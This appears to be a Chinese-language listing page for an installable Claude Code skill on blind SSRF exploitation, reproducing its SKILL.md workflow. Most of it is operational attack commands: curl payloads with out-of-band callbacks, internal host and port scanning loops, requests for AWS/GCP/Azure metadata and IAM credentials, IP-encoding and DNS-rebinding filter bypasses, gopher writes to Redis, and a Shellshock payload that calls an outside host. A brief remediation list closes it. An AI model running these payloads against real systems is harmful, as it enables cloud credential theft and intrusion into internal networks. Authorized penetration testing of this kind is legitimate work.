关于 performing-blind-ssrf-exploitation
用于授权安全评估的盲 SSRF 测试技能,介绍通过带外回连确认请求,并评估内部网络与云元数据端点的访问风险。适用于测试 URL 输入、Webhook 和文件处理功能。
主要功能
- 01识别可能触发 SSRF 的输入点
- 02使用带外回连确认盲 SSRF
- 03通过时间差检查内部主机
- 04检查云元数据访问风险
- 05介绍过滤器绕过与数据外传
适用场景
- 01测试 Webhook 的 URL 验证
- 02评估预览和导入功能的请求风险
- 03检查 PDF 或图像处理器的 SSRF
- 04评估云元数据端点的暴露情况
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-blind-ssrf-exploitation安装后在 Claude Code 中输入/performing-blind-ssrf-exploitation确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行盲 SSRF 利用
何时使用
- 在测试 URL/webhook 输入参数且服务端响应不会回显时
- 在评估获取外部资源的应用(头像、预览、导入)时
- 在测试 PDF 生成器、图像处理器或文档转换器的 SSRF 时
- 在云安全评估中检测元数据端点访问时
- 在评估 webhook 功能和 URL 校验实现时
前置条件
- 带有 Burp Collaborator 的 Burp Suite Professional,用于 OOB 检测
- interact.sh 或 webhook.site,用于外部回调监控
- 理解 SSRF 攻击向量和内部网络枚举
- 了解云元数据端点(AWS、GCP、Azure)
- 用于高级利用回调处理的 VPS 或受控服务器
- 带 requests 库的 Python,用于自动化脚本
工作流
步骤 1 — 识别盲 SSRF 输入点
# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# Test document import
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
步骤 2 — 使用带外检测确认盲 SSRF
# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com
# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups
# HTTP-based detection
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator
# interact.sh alternative
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions
步骤 3 — 枚举内部网络
# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive
# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "Port $port tested"
done
# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
步骤 4 — 访问云元数据端点
# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP metadata
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure metadata
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
步骤 5 — 绕过 SSRF 过滤器
# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://[email protected]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
# DNS rebinding
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
步骤 6 — 将盲 SSRF 升级为数据外泄
# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration
# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints
关键概念
| 概念 | 描述 |
|---|---|
| 盲 SSRF | 服务器发起请求,但响应对攻击者不可见 |
| 带外检测 | 使用外部回调(DNS、HTTP)确认 SSRF 执行 |
| DNS 重绑定 | 通过改变 DNS 解析来绕过基于 IP 的 SSRF 过滤器的技术 |
| 云元数据 | 可通过 SSRF 访问的实例元数据端点,用于凭据窃取 |
| Gopher 协议 | 允许构造载荷与内部 TCP 服务交互的协议 |
| 基于时间的检测 | 通过测量响应时间差异来检测 SSRF 是否成功 |
| SSRF 链 | 将 SSRF 与其他漏洞结合以获得更大影响 |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Collaborator | 用于 DNS 和 HTTP 回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery 的开源 OOB 交互工具 |
| SSRFmap | 自动化 SSRF 检测与利用框架 |
| Gopherus | 生成 gopher 载荷以通过 SSRF 利用内部服务 |
| webhook.site | 用于测试 SSRF 回调的免费 webhook 接收器 |
| rebinder.net | 用于绕过 SSRF IP 过滤器的 DNS 重绑定服务 |
常见场景
- 云凭据窃取 — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点并窃取 IAM 凭据,以攻陷云账户
- 内部服务发现 — 使用基于时间的盲 SSRF 枚举内部网络主机和开放端口
- Redis 利用 — 将盲 SSRF 与 gopher:// 协议结合,在内部 Redis 实例上执行命令
- Webhook 滥用 — 利用 webhook URL 字段扫描内部网络,并通过 OOB 通道外泄数据
- PDF 生成器 SSRF — 将内部 URL 注入 PDF 生成功能,在渲染文档中外泄内部内容
输出格式
## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes
### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |
### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |
### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers
评论
支持 Markdown